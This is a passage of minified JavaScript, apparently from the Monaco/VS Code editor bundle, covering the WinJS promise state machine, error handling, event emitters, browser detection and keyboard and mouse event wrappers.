p=!1;try{c?(r._traceAsyncCallbackStarting(u.asyncOpID),p=!0,c.handlesOnError||v(d,i,l,t,c),d._setCompleteValue(c(i))):d._setChainedErrorValue(i,t)}catch(e){d._setExceptionValue(e)}finally{p&&r._traceAsyncCallbackCompleted()}d._state!==O&&d._listeners&&n.push(d)}else j.prototype.done.call(t,null,c)}}}function v(e,t,n,i,o){if(x._listeners[N]){if(t instanceof Error&&t.message===M)return;x.dispatchEvent(N,n(e,t,i,o))}}function _(e,t){var n=e._listeners;if(n){var i,o;for(i=0,o=Array.isArray(n)?n.length:1;i<o;i++){var r=1===o?n:n[i],s=r.p;if(s)try{s(t)}catch(e){}r.c||r.e||!r.promise||r.promise._progress(t)}}}function y(e,t){var n=e._listeners;n?(n=Array.isArray(n)?n:[n]).push(t):n=t,e._listeners=n}function C(e,t,n){e._isException=n||!1,e._errorId=t}function b(e,t,n,i){e._value=t,v(e,t,n,i),e._setState(V)}function w(e,t){var n;n=t&&\"object\"==typeof t&&\"function\"==typeof t.then?O:W,e._value=t,e._setState(n)}function S(e,t,n,i){var o=new U(e);return y(e,{promise:o,c:t,e:n,p:i,asyncOpID:r._traceAsyncOperationStarting(\"WinJS.Promise.then\")}),o}function E(n){var i;return new Y(function(o){n?i=e.setTimeout(o,n):t._setImmediate(o)},function(){i&&e.clearTimeout(i)})}function L(e,t){var n=function(){e.cancel()};return e.then(function(){t.cancel()}),t.then(n,n),t}e.Debug&&(e.Debug.setNonUserCodeExceptions=!0);var x=new(n.Class.mix(n.Class.define(null,{},{supportedForProcessing:!1}),o.eventMixin));x._listeners={};var N=\"error\",M=\"Canceled\",T=!1,k={promise:1,thenPromise:2,errorPromise:4,exceptionPromise:8,completePromise:16};k.all=k.promise|k.thenPromise|k.errorPromise|k.exceptionPromise|k.completePromise;var I,D,O,R,P,A,F,W,B,V,H=1;I={name:\"created\",enter:function(e){e._setState(D)},cancel:s,done:s,then:s,_completed:s,_error:s,_notify:s,_progress:s,_setCompleteValue:s,_setErrorValue:s},D={name:\"working\",enter:s,cancel:function(e){e._setState(P)},done:p,then:S,_completed:a,_error:f,_notify:s,_progress:_,_setCompleteValue:w,_setErrorValue:b},O={name:\"waiting\",enter:function(e){var t=e._value;if(t instanceof U&&t._state!==V&&t._state!==W)y(t,{promise:e});else{var n=function(i){t._errorId?e._chainedError(i,t):(v(e,i,l,t,n),e._error(i))};n.handlesOnError=!0,t.then(e._completed.bind(e),n,e._progress.bind(e))}},cancel:function(e){e._setState(R)},done:p,then:S,_completed:a,_error:f,_notify:s,_progress:_,_setCompleteValue:w,_setErrorValue:b},R={name:\"waiting_canceled\",enter:function(e){e._setState(A);var t=e._value;t.cancel&&t.cancel()},cancel:s,done:p,then:S,_completed:a,_error:f,_notify:s,_progress:_,_setCompleteValue:w,_setErrorValue:b},P={name:\"canceled\",enter:function(e){e._setState(A),e._cancelAction()},cancel:s,done:p,then:S,_completed:a,_error:f,_notify:s,_progress:_,_setCompleteValue:w,_setErrorValue:b},A={name:\"canceling\",enter:function(e){var t=new Error(M);t.name=t.message,e._value=t,e._setState(B)},cancel:s,done:s,then:s,_completed:s,_error:s,_notify:s,_progress:s,_setCompleteValue:s,_setErrorValue:s},F={name:\"complete_notify\",enter:function(e){if(e.done=G.prototype.done,e.then=G.prototype.then,e._listeners)for(var t,n=[e];n.length;)(t=n.shift())._state._notify(t,n);e._setState(W)},cancel:s,done:null,then:null,_completed:s,_error:s,_notify:g,_progress:s,_setCompleteValue:s,_setErrorValue:s},W={name:\"success\",enter:function(e){e.done=G.prototype.done,e.then=G.prototype.then,e._cleanupAction()},cancel:s,done:null,then:null,_completed:s,_error:s,_notify:g,_progress:s,_setCompleteValue:s,_setErrorValue:s},B={name:\"error_notify\",enter:function(e){if(e.done=j.prototype.done,e.then=j.prototype.then,e._listeners)for(var t,n=[e];n.length;)(t=n.shift())._state._notify(t,n);e._setState(V)},cancel:s,done:null,then:null,_completed:s,_error:s,_notify:m,_progress:s,_setCompleteValue:s,_setErrorValue:s},V={name:\"error\",enter:function(e){e.done=j.prototype.done,e.then=j.prototype.then,e._cleanupAction()},cancel:s,done:null,then:null,_completed:s,_error:s,_notify:m,_progress:s,_setCompleteValue:s,_setErrorValue:s};var z,K=n.Class.define(null,{_listeners:null,_nextState:null,_state:null,_value:null,cancel:function(){this._state.cancel(this),this._run()},done:function(e,t,n){this._state.done(this,e,t,n)},then:function(e,t,n){return this._state.then(this,e,t,n)},_chainedError:function(e,t){var n=this._state._error(this,e,c,t);return this._run(),n},_completed:function(e){var t=this._state._completed(this,e);return this._run(),t},_error:function(e){var t=this._state._error(this,e,d);return this._run(),t},_progress:function(e){this._state._progress(this,e)},_setState:function(e){this._nextState=e},_setCompleteValue:function(e){this._state._setCompleteValue(this,e),this._run()},_setChainedErrorValue:function(e,t){var n=this._state._setErrorValue(this,e,c,t);return this._run(),n},_setExceptionValue:function(e){var t=this._state._setErrorValue(this,e,h);return this._run(),t},_run:function(){for(;this._nextState;)this._state=this._nextState,this._nextState=null,this._state.enter(this)}},{supportedForProcessing:!1}),U=n.Class.derive(K,function(e){T&&(!0===T||T&k.thenPromise)&&(this._stack=Y._getStack()),this._creator=e,this._setState(I),this._run()},{_creator:null,_cancelAction:function(){this._creator&&this._creator.cancel()},_cleanupAction:function(){this._creator=null}},{supportedForProcessing:!1}),j=n.Class.define(function(e){T&&(!0===T||T&k.errorPromise)&&(this._stack=Y._getStack()),this._value=e,v(this,e,d)},{cancel:function(){},done:function(e,t){var n=this._value;if(t)try{t.handlesOnError||v(null,n,l,this,t);var i=t(n);return void(i&&\"object\"==typeof i&&\"function\"==typeof i.done&&i.done())}catch(e){n=e}n instanceof Error&&n.message===M||Y._doneHandler(n)},then:function(e,t){if(!t)return this;var n,i=this._value;try{t.handlesOnError||v(null,i,l,this,t),n=new G(t(i))}catch(e){n=e===i?this:new q(e)}return n}},{supportedForProcessing:!1}),q=n.Class.derive(j,function(e){T&&(!0===T||T&k.exceptionPromise)&&(this._stack=Y._getStack()),this._value=e,v(this,e,h)},{},{supportedForProcessing:!1}),G=n.Class.define(function(e){if(T&&(!0===T||T&k.completePromise)&&(this._stack=Y._getStack()),e&&\"object\"==typeof e&&\"function\"==typeof e.then){var t=new U(null);return t._setCompleteValue(e),t}this._value=e},{cancel:function(){},done:function(e){if(e)try{var t=e(this._value);t&&\"object\"==typeof t&&\"function\"==typeof t.done&&t.done()}catch(e){Y._doneHandler(e)}},then:function(e){try{var t=e?e(this._value):this._value;return t===this._value?this:new G(t)}catch(e){return new q(e)}}},{supportedForProcessing:!1}),Y=n.Class.derive(K,function(e,t){T&&(!0===T||T&k.promise)&&(this._stack=Y._getStack()),this._oncancel=t,this._setState(I),this._run();try{e(this._completed.bind(this),this._error.bind(this),this._progress.bind(this))}catch(e){this._setExceptionValue(e)}},{_oncancel:null,_cancelAction:function(){try{if(!this._oncancel)throw new Error(\"Promise did not implement oncancel\");this._oncancel()}catch(e){e.message,e.stack;x.dispatchEvent(\"error\",e)}},_cleanupAction:function(){this._oncancel=null}},{addEventListener:function(e,t,n){x.addEventListener(e,t,n)},any:function(e){return new Y(function(t,n){var i=Object.keys(e);0===i.length&&t();var o=0;i.forEach(function(r){Y.as(e[r]).then(function(){t({key:r,value:e[r]})},function(s){s instanceof Error&&s.name===M?++o===i.length&&t(Y.cancel):n({key:r,value:e[r]})})})},function(){Object.keys(e).forEach(function(t){var n=Y.as(e[t]);\"function\"==typeof n.cancel&&n.cancel()})})},as:function(e){return e&&\"object\"==typeof e&&\"function\"==typeof e.then?e:new G(e)},cancel:{get:function(){return z=z||new j(new i(M))}},dispatchEvent:function(e,t){return x.dispatchEvent(e,t)},is:function(e){return e&&\"object\"==typeof e&&\"function\"==typeof e.then},join:function(e){return new Y(function(t,n,i){var o=Object.keys(e),r=Array.isArray(e)?[]:{},s=Array.isArray(e)?[]:{},a=0,u=o.length,l=function(e){if(0==--u){var a=Object.keys(r).length;if(0===a)t(s);else{var l=0;o.forEach(function(e){var t=r[e];t instanceof Error&&t.name===M&&l++}),l===a?t(Y.cancel):n(r)}}else i({Key:e,Done:!0})};o.forEach(function(t){var n=e[t];void 0===n?a++:Y.then(n,function(e){s[t]=e,l(t)},function(e){r[t]=e,l(t)})}),0!==(u-=a)||t(s)},function(){Object.keys(e).forEach(function(t){var n=Y.as(e[t]);\"function\"==typeof n.cancel&&n.cancel()})})},removeEventListener:function(e,t,n){x.removeEventListener(e,t,n)},supportedForProcessing:!1,then:function(e,t,n,i){return Y.as(e).then(t,n,i)},thenEach:function(e,t,n,i){var o=Array.isArray(e)?[]:{};return Object.keys(e).forEach(function(r){o[r]=Y.as(e[r]).then(t,n,i)}),Y.join(o)},timeout:function(e,t){var n=E(e);return t?L(n,t):n},wrap:function(e){return new G(e)},wrapError:function(e){return new j(e)},_veryExpensiveTagWithStack:{get:function(){return T},set:function(e){T=e}},_veryExpensiveTagWithStack_tag:k,_getStack:function(){if(e.Debug&&e.Debug.debuggerEnabled)try{throw new Error}catch(e){return e.stack}},_cancelBlocker:function(e,t){if(!Y.is(e))return Y.wrap(e);var n,i,o=new Y(function(e,t){n=e,i=t},function(){n=null,i=null,t&&t()});return e.then(function(e){n&&n(e)},function(e){i&&i(e)}),o}});return Object.defineProperties(Y,o.createEventProperties(N)),Y._doneHandler=function(e){t._setImmediate(function(){throw e})},{PromiseStateMachine:K,Promise:Y,state_created:I}}),t(\"WinJS/Promise\",[\"WinJS/Core/_Base\",\"WinJS/Promise/_StateMachine\"],function(e,t){\"use strict\";return e.Namespace.define(\"WinJS\",{Promise:t.Promise}),t.Promise});var n=e[\"WinJS/Core/_WinJS\"];\"undefined\"==typeof exports&&\"function\"==typeof define&&define.amd?define(\"vs/base/common/winjs.base.raw\",n):module.exports=n,\"undefined\"!=typeof process&&\"function\"==typeof process.nextTick&&(e[\"WinJS/Core/_BaseCoreUtils\"]._setImmediate=function(e){return process.nextTick(e)})}(),define(d[7],h([551]),function(e){\"use strict\";return{Promise:e.Promise,TPromise:e.Promise,PPromise:e.Promise}}),define(d[10],h([1,0,15,29,7]),function(e,t,n,i,o){\"use strict\";function r(e){s(e)||t.errorHandler.onUnexpectedError(e)}function s(e){return e instanceof Error&&e.name===l&&e.message===l}Object.defineProperty(t,\"__esModule\",{value:!0});var a={};o.TPromise.addEventListener(\"error\",function(e){var t=e.detail,n=t.id;t.parent?t.handler&&a&&delete a[n]:(a[n]=t,1===Object.keys(a).length&&setTimeout(function(){var e=a;a={},Object.keys(e).forEach(function(t){var n=e[t];n.exception?r(n.exception):n.error&&r(n.error),console.log(\"WARNING: Promise with no error callback:\"+n.id),console.log(n),n.exception&&console.log(n.exception.stack)})},0))});var u=function(){function e(){this.listeners=[],this.unexpectedErrorHandler=function(e){n.setTimeout(function(){if(e.stack)throw new Error(e.message+\"\\n\\n\"+e.stack);throw e},0)}}return e.prototype.addListener=function(e){var t=this;return this.listeners.push(e),function(){t._removeListener(e)}},e.prototype.emit=function(e){this.listeners.forEach(function(t){t(e)})},e.prototype._removeListener=function(e){this.listeners.splice(this.listeners.indexOf(e),1)},e.prototype.setUnexpectedErrorHandler=function(e){this.unexpectedErrorHandler=e},e.prototype.getUnexpectedErrorHandler=function(){return this.unexpectedErrorHandler},e.prototype.onUnexpectedError=function(e){this.unexpectedErrorHandler(e),this.emit(e)},e.prototype.onUnexpectedExternalError=function(e){this.unexpectedErrorHandler(e)},e}();t.ErrorHandler=u,t.errorHandler=new u,t.setUnexpectedErrorHandler=function(e){t.errorHandler.setUnexpectedErrorHandler(e)},t.onUnexpectedError=r,t.onUnexpectedExternalError=function(e){s(e)||t.errorHandler.onUnexpectedExternalError(e)},t.onUnexpectedPromiseError=function(e){return e.then(null,r)},t.transformErrorForSerialization=function(e){return e instanceof Error?{$isError:!0,name:e.name,message:e.message,stack:e.stacktrace||e.stack}:e};var l=\"Canceled\";t.isPromiseCanceledError=s,t.canceled=function(){var e=new Error(l);return e.name=e.message,e},t.notImplemented=function(){return new Error(\"Not Implemented\")},t.illegalArgument=function(e){return e?new Error(\"Illegal argument: \"+e):new Error(\"Illegal argument\")},t.illegalState=function(e){return e?new Error(\"Illegal state: \"+e):new Error(\"Illegal state\")},t.readonly=function(e){return e?new Error(\"readonly property '\"+e+\" cannot be changed'\"):new Error(\"readonly property cannot be changed\")},t.create=function(e,t){void 0===t&&(t={});var n=new Error(e);return i.isNumber(t.severity)&&(n.severity=t.severity),t.actions&&(n.actions=t.actions),n},t.getErrorMessage=function(e){return e?e.message?e.message:e.stack?e.stack.split(\"\\n\")[0]:String(e):\"Error\"}}),define(d[424],h([1,0,10]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(){}return e.prototype.add=function(e,t,n){var i=this;void 0===t&&(t=null),this._callbacks||(this._callbacks=[],this._contexts=[]),this._callbacks.push(e),this._contexts.push(t),Array.isArray(n)&&n.push({dispose:function(){return i.remove(e,t)}})},e.prototype.remove=function(e,t){if(void 0===t&&(t=null),this._callbacks){for(var n=!1,i=0,o=this._callbacks.length;i<o;i++)if(this._callbacks[i]===e){if(this._contexts[i]===t)return this._callbacks.splice(i,1),void this._contexts.splice(i,1);n=!0}if(n)throw new Error(\"When adding a listener with a context, you should remove it with the same context\")}},e.prototype.invoke=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];if(this._callbacks){for(var i=[],o=this._callbacks.slice(0),r=this._contexts.slice(0),s=0,a=o.length;s<a;s++)try{i.push(o[s].apply(r[s],e))}catch(e){n.onUnexpectedError(e)}return i}},e.prototype.isEmpty=function(){return!this._callbacks||0===this._callbacks.length},e.prototype.entries=function(){var e=this;return this._callbacks?this._callbacks.map(function(t,n){return[t,e._contexts[n]]}):[]},e.prototype.dispose=function(){this._callbacks=void 0,this._contexts=void 0},e}();t.default=i}),define(d[11],h([1,0,3,424,7,136]),function(e,t,n,i,o,r){\"use strict\";function s(e){return function(t,n,i){void 0===n&&(n=null);var o=e(function(e){return o.dispose(),t.call(n,e)},null,i);return o}}function a(e,t){return function(n,i,o){return void 0===i&&(i=null),e(function(e){return n.call(i,t(e))},null,o)}}function u(e,t){return function(n,i,o){return void 0===i&&(i=null),e(function(e){return t(e)&&n.call(i,e)},null,o)}}Object.defineProperty(t,\"__esModule\",{value:!0});var l;!function(e){var t={dispose:function(){}};e.None=function(){return t}}(l||(l={})),t.default=l;var c=function(){function e(e){this._options=e}return Object.defineProperty(e.prototype,\"event\",{get:function(){var t=this;return this._event||(this._event=function(n,o,r){t._callbacks||(t._callbacks=new i.default);var s=t._callbacks.isEmpty();s&&t._options&&t._options.onFirstListenerAdd&&t._options.onFirstListenerAdd(t),t._callbacks.add(n,o),s&&t._options&&t._options.onFirstListenerDidAdd&&t._options.onFirstListenerDidAdd(t),t._options&&t._options.onListenerDidAdd&&t._options.onListenerDidAdd(t,n,o);var a;return a={dispose:function(){a.dispose=e._noop,t._disposed||(t._callbacks.remove(n,o),t._options&&t._options.onLastListenerRemove&&t._callbacks.isEmpty()&&t._options.onLastListenerRemove(t))}},Array.isArray(r)&&r.push(a),a}),this._event},enumerable:!0,configurable:!0}),e.prototype.fire=function(e){this._callbacks&&this._callbacks.invoke.call(this._callbacks,e)},e.prototype.dispose=function(){this._callbacks&&(this._callbacks.dispose(),this._callbacks=void 0,this._disposed=!0)},e._noop=function(){},e}();t.Emitter=c;var d=function(){function e(){var e=this;this.hasListeners=!1,this.events=[],this.emitter=new c({onFirstListenerAdd:function(){return e.onFirstListenerAdd()},onLastListenerRemove:function(){return e.onLastListenerRemove()}})}return Object.defineProperty(e.prototype,\"event\",{get:function(){return this.emitter.event},enumerable:!0,configurable:!0}),e.prototype.add=function(e){var t=this,i={event:e,listener:null};this.events.push(i),this.hasListeners&&this.hook(i);return n.toDisposable(r.once(function(){t.hasListeners&&t.unhook(i);var e=t.events.indexOf(i);t.events.splice(e,1)}))},e.prototype.onFirstListenerAdd=function(){var e=this;this.hasListeners=!0,this.events.forEach(function(t){return e.hook(t)})},e.prototype.onLastListenerRemove=function(){var e=this;this.hasListeners=!1,this.events.forEach(function(t){return e.unhook(t)})},e.prototype.hook=function(e){var t=this;e.listener=e.event(function(e){return t.emitter.fire(e)})},e.prototype.unhook=function(e){e.listener.dispose(),e.listener=null},e.prototype.dispose=function(){this.emitter.dispose()},e}();t.EventMultiplexer=d,t.fromEventEmitter=function(e,t){return function(n,i,o){var r=e.addListener(t,function(){n.apply(i,arguments)});return Array.isArray(o)&&o.push(r),r}},t.fromCallback=function(e){var t,n=new c({onFirstListenerAdd:function(){return t=e(function(e){return n.fire(e)})},onLastListenerRemove:function(){return t.dispose()}});return n.event},t.fromPromise=function(e){var t=new c,n=!1;return e.then(null,function(){return null}).then(function(){n?t.fire():setTimeout(function(){return t.fire()},0)}),n=!0,t.event},t.toPromise=function(e){return new o.TPromise(function(t){var n=e(function(e){n.dispose(),t(e)})})},t.delayed=function(e){var t=null,n=null,i=new c({onFirstListenerAdd:function(){t=e.then(function(e){return n=e(function(e){return i.fire(e)})},function(){return null})},onLastListenerRemove:function(){t&&(t.cancel(),t=null),n&&(n.dispose(),n=null)}});return i.event},t.once=s,t.any=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return function(t,i,o){return void 0===i&&(i=null),n.combinedDisposable(e.map(function(e){return e(function(e){return t.call(i,e)},null,o)}))}},t.debounceEvent=function(e,t,n,i){void 0===n&&(n=100),void 0===i&&(i=!1);var o,r,s,a=0,u=new c({onFirstListenerAdd:function(){o=e(function(e){a++,r=t(r,e),!s&&i&&u.fire(r),clearTimeout(s),s=setTimeout(function(){var e=r;r=void 0,(!i||a>1)&&u.fire(e),s=null,a=0},n)})},onLastListenerRemove:function(){o.dispose()}});return u.event};var h=function(){function e(){this.buffers=[]}return e.prototype.wrapEvent=function(e){var t=this;return function(n,i,o){return e(function(e){var o=t.buffers[t.buffers.length-1];o?o.push(function(){return n.call(i,e)}):n.call(i,e)},void 0,o)}},e.prototype.bufferEvents=function(e){var t=[];this.buffers.push(t),e(),this.buffers.pop(),t.forEach(function(e){return e()})},e}();t.EventBufferer=h,t.mapEvent=a,t.filterEvent=u;var p=function(){function e(e){this._event=e}return Object.defineProperty(e.prototype,\"event\",{get:function(){return this._event},enumerable:!0,configurable:!0}),e.prototype.map=function(t){return new e(a(this._event,t))},e.prototype.filter=function(t){return new e(u(this._event,t))},e.prototype.on=function(e,t,n){return this._event(e,t,n)},e}();t.chain=function(e){return new p(e)},t.stopwatch=function(e){var t=(new Date).getTime();return a(s(e),function(e){return(new Date).getTime()-t})},t.buffer=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=[]),n=n.slice();var i=e(function(e){n?n.push(e):r.fire(e)}),o=function(){n.forEach(function(e){return r.fire(e)}),n=null},r=new c({onFirstListenerAdd:function(){i||(i=e(function(e){return r.fire(e)}))},onFirstListenerDidAdd:function(){n&&(t?setTimeout(o):o())},onLastListenerRemove:function(){i.dispose(),i=null}});return r.event},t.echo=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=[]),n=n.slice(),e(function(e){n.push(e),o.fire(e)});var i=function(e,t){return n.forEach(function(n){return e.call(t,n)})},o=new c({onListenerDidAdd:function(e,n,o){t?setTimeout(function(){return i(n,o)}):i(n,o)}});return o.event}}),define(d[28],h([1,0,15,11]),function(e,t,n,i){\"use strict\";function o(){return s.INSTANCE.getZoomLevel()}function r(){return s.INSTANCE.getPixelRatio()}Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(){this._zoomLevel=0,this._lastZoomLevelChangeTime=0,this._onDidChangeZoomLevel=new i.Emitter,this.onDidChangeZoomLevel=this._onDidChangeZoomLevel.event,this._zoomFactor=0,this._onDidChangeFullscreen=new i.Emitter,this.onDidChangeFullscreen=this._onDidChangeFullscreen.event,this._accessibilitySupport=0,this._onDidChangeAccessibilitySupport=new i.Emitter,this.onDidChangeAccessibilitySupport=this._onDidChangeAccessibilitySupport.event}return e.prototype.getZoomLevel=function(){return this._zoomLevel},e.prototype.getTimeSinceLastZoomLevelChanged=function(){return Date.now()-this._lastZoomLevelChangeTime},e.prototype.setZoomLevel=function(e,t){this._zoomLevel!==e&&(this._zoomLevel=e,this._lastZoomLevelChangeTime=t?0:Date.now(),this._onDidChangeZoomLevel.fire(this._zoomLevel))},e.prototype.getZoomFactor=function(){return this._zoomFactor},e.prototype.setZoomFactor=function(e){this._zoomFactor=e},e.prototype.getPixelRatio=function(){var e=document.createElement(\"canvas\").getContext(\"2d\");return(window.devicePixelRatio||1)/(e.webkitBackingStorePixelRatio||e.mozBackingStorePixelRatio||e.msBackingStorePixelRatio||e.oBackingStorePixelRatio||e.backingStorePixelRatio||1)},e.prototype.setFullscreen=function(e){this._fullscreen!==e&&(this._fullscreen=e,this._onDidChangeFullscreen.fire())},e.prototype.isFullscreen=function(){return this._fullscreen},e.prototype.setAccessibilitySupport=function(e){this._accessibilitySupport!==e&&(this._accessibilitySupport=e,this._onDidChangeAccessibilitySupport.fire())},e.prototype.getAccessibilitySupport=function(){return this._accessibilitySupport},e.INSTANCE=new e,e}();t.setZoomLevel=function(e,t){s.INSTANCE.setZoomLevel(e,t)},t.getZoomLevel=o,t.getTimeSinceLastZoomLevelChanged=function(){return s.INSTANCE.getTimeSinceLastZoomLevelChanged()},t.onDidChangeZoomLevel=function(e){return s.INSTANCE.onDidChangeZoomLevel(e)},t.getZoomFactor=function(){return s.INSTANCE.getZoomFactor()},t.setZoomFactor=function(e){s.INSTANCE.setZoomFactor(e)},t.getPixelRatio=r,t.setFullscreen=function(e){s.INSTANCE.setFullscreen(e)},t.isFullscreen=function(){return s.INSTANCE.isFullscreen()},t.onDidChangeFullscreen=function(e){return s.INSTANCE.onDidChangeFullscreen(e)},t.setAccessibilitySupport=function(e){s.INSTANCE.setAccessibilitySupport(e)},t.getAccessibilitySupport=function(){return s.INSTANCE.getAccessibilitySupport()},t.onDidChangeAccessibilitySupport=function(e){return s.INSTANCE.onDidChangeAccessibilitySupport(e)};var a=navigator.userAgent;t.isIE=a.indexOf(\"Trident\")>=0,t.isEdge=a.indexOf(\"Edge/\")>=0,t.isEdgeOrIE=t.isIE||t.isEdge,t.isOpera=a.indexOf(\"Opera\")>=0,t.isFirefox=a.indexOf(\"Firefox\")>=0,t.isWebKit=a.indexOf(\"AppleWebKit\")>=0,t.isChrome=a.indexOf(\"Chrome\")>=0,t.isSafari=-1===a.indexOf(\"Chrome\")&&a.indexOf(\"Safari\")>=0,t.isIPad=a.indexOf(\"iPad\")>=0,t.isChromev56=a.indexOf(\"Chrome/56.\")>=0&&-1===a.indexOf(\"Edge/\"),t.supportsTranslate3d=!t.isFirefox,t.canUseTranslate3d=function(){if(!t.supportsTranslate3d)return!1;if(0!==o())return!1;if(t.isChromev56){var e=r();if(Math.floor(e)!==e)return!1}return!0}}),define(d[124],h([1,0,11]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.domEvent=function(e,t,i){var o=function(e){return r.fire(e)},r=new n.Emitter({onFirstListenerAdd:function(){e.addEventListener(t,o,i)},onLastListenerRemove:function(){e.removeEventListener(t,o,i)}});return r.event},t.stop=function(e){return n.mapEvent(e,function(e){return e.preventDefault(),e.stopPropagation(),e})}}),define(d[65],h([1,0,40,15,28]),function(e,t,n,i,o){\"use strict\";function r(e){if(e.charCode){var t=String.fromCharCode(e.charCode).toUpperCase();return n.KeyCodeUtils.fromString(t)}return s[e.keyCode]||0}Object.defineProperty(t,\"__esModule\",{value:!0});var s={};s[3]=7,s[8]=1,s[9]=2,s[13]=3,s[16]=4,s[17]=5,s[18]=6,s[19]=7,s[20]=8,s[27]=9,s[32]=10,s[33]=11,s[34]=12,s[35]=13,s[36]=14,s[37]=15,s[38]=16,s[39]=17,s[40]=18,s[45]=19,s[46]=20,s[48]=21,s[49]=22,s[50]=23,s[51]=24,s[52]=25,s[53]=26,s[54]=27,s[55]=28,s[56]=29,s[57]=30,s[65]=31,s[66]=32,s[67]=33,s[68]=34,s[69]=35,s[70]=36,s[71]=37,s[72]=38,s[73]=39,s[74]=40,s[75]=41,s[76]=42,s[77]=43,s[78]=44,s[79]=45,s[80]=46,s[81]=47,s[82]=48,s[83]=49,s[84]=50,s[85]=51,s[86]=52,s[87]=53,s[88]=54,s[89]=55,s[90]=56,s[93]=58,s[96]=93,s[97]=94,s[98]=95,s[99]=96,s[100]=97,s[101]=98,s[102]=99,s[103]=100,s[104]=101,s[105]=102,s[106]=103,s[107]=104,s[108]=105,s[109]=106,s[110]=107,s[111]=108,s[112]=59,s[113]=60,s[114]=61,s[115]=62,s[116]=63,s[117]=64,s[118]=65,s[119]=66,s[120]=67,s[121]=68,s[122]=69,s[123]=70,s[124]=71,s[125]=72,s[126]=73,s[127]=74,s[128]=75,s[129]=76,s[130]=77,s[144]=78,s[145]=79,s[186]=80,s[187]=81,s[188]=82,s[189]=83,s[190]=84,s[191]=85,s[192]=86,s[193]=110,s[194]=111,s[219]=87,s[220]=88,s[221]=89,s[222]=90,s[223]=91,s[226]=92,s[229]=109,o.isIE?s[91]=57:o.isFirefox?(s[59]=80,s[107]=81,s[109]=83,i.isMacintosh&&(s[224]=57)):o.isWebKit&&(s[91]=57,i.isMacintosh?s[93]=57:s[92]=57);var a=i.isMacintosh?256:2048,u=i.isMacintosh?2048:256,l=function(){function e(e){var t=e;this.browserEvent=t,this.target=t.target,this.ctrlKey=t.ctrlKey,this.shiftKey=t.shiftKey,this.altKey=t.altKey,this.metaKey=t.metaKey,this.keyCode=r(t),this.code=t.code,this.ctrlKey=this.ctrlKey||5===this.keyCode,this.altKey=this.altKey||6===this.keyCode,this.shiftKey=this.shiftKey||4===this.keyCode,this.metaKey=this.metaKey||57===this.keyCode,this._asKeybinding=this._computeKeybinding(),this._asRuntimeKeybinding=this._computeRuntimeKeybinding()}return e.prototype.preventDefault=function(){this.browserEvent&&this.browserEvent.preventDefault&&this.browserEvent.preventDefault()},e.prototype.stopPropagation=function(){this.browserEvent&&this.browserEvent.stopPropagation&&this.browserEvent.stopPropagation()},e.prototype.toKeybinding=function(){return this._asRuntimeKeybinding},e.prototype.equals=function(e){return this._asKeybinding===e},e.prototype._computeKeybinding=function(){var e=0;5!==this.keyCode&&4!==this.keyCode&&6!==this.keyCode&&57!==this.keyCode&&(e=this.keyCode);var t=0;return this.ctrlKey&&(t|=a),this.altKey&&(t|=512),this.shiftKey&&(t|=1024),this.metaKey&&(t|=u),t|=e},e.prototype._computeRuntimeKeybinding=function(){var e=0;return 5!==this.keyCode&&4!==this.keyCode&&6!==this.keyCode&&57!==this.keyCode&&(e=this.keyCode),new n.SimpleKeybinding(this.ctrlKey,this.shiftKey,this.altKey,this.metaKey,e)},e}();t.StandardKeyboardEvent=l}),define(d[47],h([1,0,15,28,148]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e){this.timestamp=Date.now(),this.browserEvent=e,this.leftButton=0===e.button,this.middleButton=1===e.button,this.rightButton=2===e.button,this.target=e.target,this.detail=e.detail||1,\"dblclick\"===e.type&&(this.detail=2),this.ctrlKey=e.ctrlKey,this.shiftKey=e.shiftKey,this.altKey=e.altKey,this.metaKey=e.metaKey,\"number\"==typeof e.pageX?(this.posx=e.pageX,this.posy=e.pageY):(this.posx=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft,this.posy=e.clientY+document.body.scrollTop+document.documentElement.scrollTop);var t=o.IframeUtils.getPositionOfChildWindowRelativeToAncestorWindow(self,e.view);this.posx-=t.left,this.posy-=t.top}return e.prototype.preventDefault=function(){this.browserEvent.preventDefault&&this.browserEvent.preventDefault()},e.prototype.stopPropagation=function(){this.browserEvent.stopPropagation&&this.browserEvent.stopPropagation()},e}();t.StandardMouseEvent=r;var s=function(e){function t(t){var n=e.call(this,t)||this;return n.dataTransfer=t.dataTransfer,n}return f(t,e),t}(r);t.DragMouseEvent=s;var a=function(e){function t(t){return e.call(this,t)||this}return f(t,e),t}(s);t.DropMouseEvent=a;var u=function(){function e(e,t,o){if(void 0===t&&(t=0),void 0===o&&(o=0),this.browserEvent=e||null,this.target=e?e.target||e.targetNode||e.srcElement:null,this.deltaY=o,this.deltaX=t,e){var r=e,s=e;void 0!==r.wheelDeltaY?this.deltaY=r.wheelDeltaY/120:void 0!==s.VERTICAL_AXIS&&s.axis===s.VERTICAL_AXIS&&(this.deltaY=-s.detail/3),void 0!==r.wheelDeltaX?i.isSafari&&n.isWindows?this.deltaX=-r.wheelDeltaX/120:this.deltaX=r.wheelDeltaX/120:void 0!==s.HORIZONTAL_AXIS&&s.axis===s.HORIZONTAL_AXIS&&(this.deltaX=-e.detail/3),0===this.deltaY&&0===this.deltaX&&e.wheelDelta&&(this.deltaY=e.wheelDelta/120)}}return e.prototype.preventDefault=function(){this.browserEvent&&this.browserEvent.preventDefault&&this.browserEvent.preventDefault()},e.prototype.stopPropagation=function(){this.browserEvent&&this.browserEvent.stopPropagation&&this.browserEvent.stopPropagation()},e}();t.StandardMouseWheelEvent=u}),define(d[123],h([1,0,11]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i,o=Object.freeze(function(e,t){var n=setTimeout(e.bind(t),0);return{dispose:function(){clearTimeout(n)}}});!function(e){e.None=Object.freeze({isCancellationRequested:!1,onCancellationRequested:n.default.None}),e.Cancelled=Object.freeze({isCancellationRequested:!0,onCancellationRequested:o})}(i=t.CancellationToken||(t.CancellationToken={}));var r=function(){function e(){this._isCancelled=!1}return e.prototype.cancel=function(){this._isCancelled||(this._isCancelled=!0,this._emitter&&(this._emitter.fire(void 